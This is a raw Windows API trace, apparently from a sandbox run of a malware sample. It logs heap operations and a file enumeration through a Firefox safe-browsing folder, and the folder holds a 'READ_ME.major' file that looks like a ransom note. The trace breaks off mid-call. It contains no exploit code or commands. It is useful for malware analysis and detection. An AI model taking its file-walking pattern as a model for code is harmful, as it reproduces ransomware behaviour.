[0241.279] SetLastError (dwErrCode=0x0) [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0241.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0241.279] GetLastError () returned 0x0 [0241.279] SetLastError (dwErrCode=0x0) [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65c8 [0241.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0241.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65c8 | out: hHeap=0x570000) returned 1 [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663550 [0241.279] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce9e878, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3ce9e878, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cea36a7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x50d38, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-phish-shavar.pset", cAlternateFileName="GOOG-P~1.PSE")) returned 1 [0241.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0241.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0241.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0241.279] GetLastError () returned 0x0 [0241.280] SetLastError (dwErrCode=0x0) [0241.280] GetLastError () returned 0x0 [0241.280] SetLastError (dwErrCode=0x0) [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0241.280] GetLastError () returned 0x0 [0241.280] SetLastError (dwErrCode=0x0) [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662a70 [0241.280] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccf624f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3ccf624f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cdb4ed0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4b542, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-phish-shavar.sbstore", cAlternateFileName="GOOG-P~1.SBS")) returned 1 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664dc8 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0241.280] GetLastError () returned 0x0 [0241.280] SetLastError (dwErrCode=0x0) [0241.280] GetLastError () returned 0x0 [0241.280] SetLastError (dwErrCode=0x0) [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664dc8 | out: hHeap=0x570000) returned 1 [0241.280] GetLastError () returned 0x0 [0241.280] SetLastError (dwErrCode=0x0) [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661dc0 [0241.281] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1ad183, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42c02, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-unwanted-shavar.pset", cAlternateFileName="GOOG-U~1.PSE")) returned 1 [0241.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0241.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0241.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0241.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0241.281] GetLastError () returned 0x0 [0241.281] SetLastError (dwErrCode=0x0) [0241.281] GetLastError () returned 0x0 [0241.281] SetLastError (dwErrCode=0x0) [0241.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0241.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0241.281] GetLastError () returned 0x0 [0241.281] SetLastError (dwErrCode=0x0) [0241.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0241.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0241.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662078 [0241.281] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cfe3506, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3cfe3506, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d07be6b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d686, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-unwanted-shavar.sbstore", cAlternateFileName="GOOG-U~1.SBS")) returned 1 [0241.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0241.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0241.283] GetLastError () returned 0x0 [0241.283] SetLastError (dwErrCode=0x0) [0241.283] GetLastError () returned 0x0 [0241.283] SetLastError (dwErrCode=0x0) [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0241.283] GetLastError () returned 0x0 [0241.283] SetLastError (dwErrCode=0x0) [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0241.283] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6ca0d5e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="mozplugin-block-digest256.pset", cAlternateFileName="MOZPLU~1.PSE")) returned 1 [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0241.283] GetLastError () returned 0x0 [0241.283] SetLastError (dwErrCode=0x0) [0241.283] GetLastError () returned 0x0 [0241.283] SetLastError (dwErrCode=0x0) [0241.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6654d0 | out: hHeap=0x570000) returned 1 [0241.283] GetLastError () returned 0x0 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0241.284] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6aef8a9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="mozplugin-block-digest256.sbstore", cAlternateFileName="MOZPLU~1.SBS")) returned 1 [0241.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0241.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0241.284] GetLastError () returned 0x0 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] GetLastError () returned 0x0 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] SetLastError (dwErrCode=0x0) [0241.284] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x640c7a3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="mozstd-trackwhite-digest256.pset", cAlternateFileName="MOZSTD~1.PSE")) returned 1 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] GetLastError () returned 0x0 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] SetLastError (dwErrCode=0x0) [0241.284] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x63bfa55, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x55810, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="mozstd-trackwhite-digest256.sbstore", cAlternateFileName="MOZSTD~1.SBS")) returned 1 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] GetLastError () returned 0x0 [0241.284] SetLastError (dwErrCode=0x0) [0241.284] SetLastError (dwErrCode=0x0) [0241.284] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b593753, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b593753, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b593753, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] GetLastError () returned 0x0 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] GetLastError () returned 0x0 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f84110, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-block-simple.pset", cAlternateFileName="TEST-B~1.PSE")) returned 1 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] GetLastError () returned 0x0 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] SetLastError (dwErrCode=0x0) [0241.285] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f37b31, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-block-simple.sbstore", cAlternateFileName="TEST-B~1.SBS")) returned 1 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] GetLastError () returned 0x0 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] SetLastError (dwErrCode=0x0) [0241.285] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8faa34f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-flash-simple.pset", cAlternateFileName="TEST-F~1.PSE")) returned 1 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] GetLastError () returned 0x0 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] SetLastError (dwErrCode=0x0) [0241.285] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f84110, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-flash-simple.sbstore", cAlternateFileName="TEST-F~1.SBS")) returned 1 [0241.285] SetLastError (dwErrCode=0x0) [0241.285] GetLastError () returned 0x0 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] SetLastError (dwErrCode=0x0) [0241.286] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9068e33, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-flashallow-simple.pset", cAlternateFileName="TEST-F~2.PSE")) returned 1 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] GetLastError () returned 0x0 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] SetLastError (dwErrCode=0x0) [0241.286] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ff6867, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-flashallow-simple.sbstore", cAlternateFileName="TEST-F~2.SBS")) returned 1 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] GetLastError () returned 0x0 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] SetLastError (dwErrCode=0x0) [0241.286] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-flashsubdoc-simple.pset", cAlternateFileName="TEST-F~3.PSE")) returned 1 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] GetLastError () returned 0x0 [0241.286] SetLastError (dwErrCode=0x0) [0241.286] SetLastError (dwErrCode=0x0) [0241.286] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x90b53f6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-flashsubdoc-simple.sbstore", cAlternateFileName="TEST-F~3.SBS")) returned 1 [0241.286] SetLastError (dwErrCode=0x0) [0241.287] GetLastError () returned 0x0 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] SetLastError (dwErrCode=0x0) [0241.287] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8de0720, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-malware-simple.pset", cAlternateFileName="TEST-M~1.PSE")) returned 1 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] GetLastError () returned 0x0 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] SetLastError (dwErrCode=0x0) [0241.287] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8d21a28, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-malware-simple.sbstore", cAlternateFileName="TEST-M~1.SBS")) returned 1 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] GetLastError () returned 0x0 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] SetLastError (dwErrCode=0x0) [0241.287] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e52e62, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-phish-simple.pset", cAlternateFileName="TEST-P~1.PSE")) returned 1 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] GetLastError () returned 0x0 [0241.287] SetLastError (dwErrCode=0x0) [0241.287] SetLastError (dwErrCode=0x0) [0241.287] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8de0720, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 1 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] GetLastError () returned 0x0 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] SetLastError (dwErrCode=0x0) [0241.288] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ec5558, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-track-simple.pset", cAlternateFileName="TEST-T~1.PSE")) returned 1 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] GetLastError () returned 0x0 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] SetLastError (dwErrCode=0x0) [0241.288] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7909e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-track-simple.sbstore", cAlternateFileName="TEST-T~1.SBS")) returned 1 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] GetLastError () returned 0x0 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] SetLastError (dwErrCode=0x0) [0241.288] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f37b31, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-trackwhite-simple.pset", cAlternateFileName="TEST-T~2.PSE")) returned 1 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] GetLastError () returned 0x0 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] SetLastError (dwErrCode=0x0) [0241.288] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ec5558, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-trackwhite-simple.sbstore", cAlternateFileName="TEST-T~2.SBS")) returned 1 [0241.288] SetLastError (dwErrCode=0x0) [0241.288] GetLastError () returned 0x0 [0241.288] SetLastError (dwErrCode=0x0) [0241.289] SetLastError (dwErrCode=0x0) [0241.289] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7909e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-unwanted-simple.pset", cAlternateFileName="TEST-U~1.PSE")) returned 1 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] GetLastError () returned 0x0 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] SetLastError (dwErrCode=0x0) [0241.289] FindNextFileW (in: 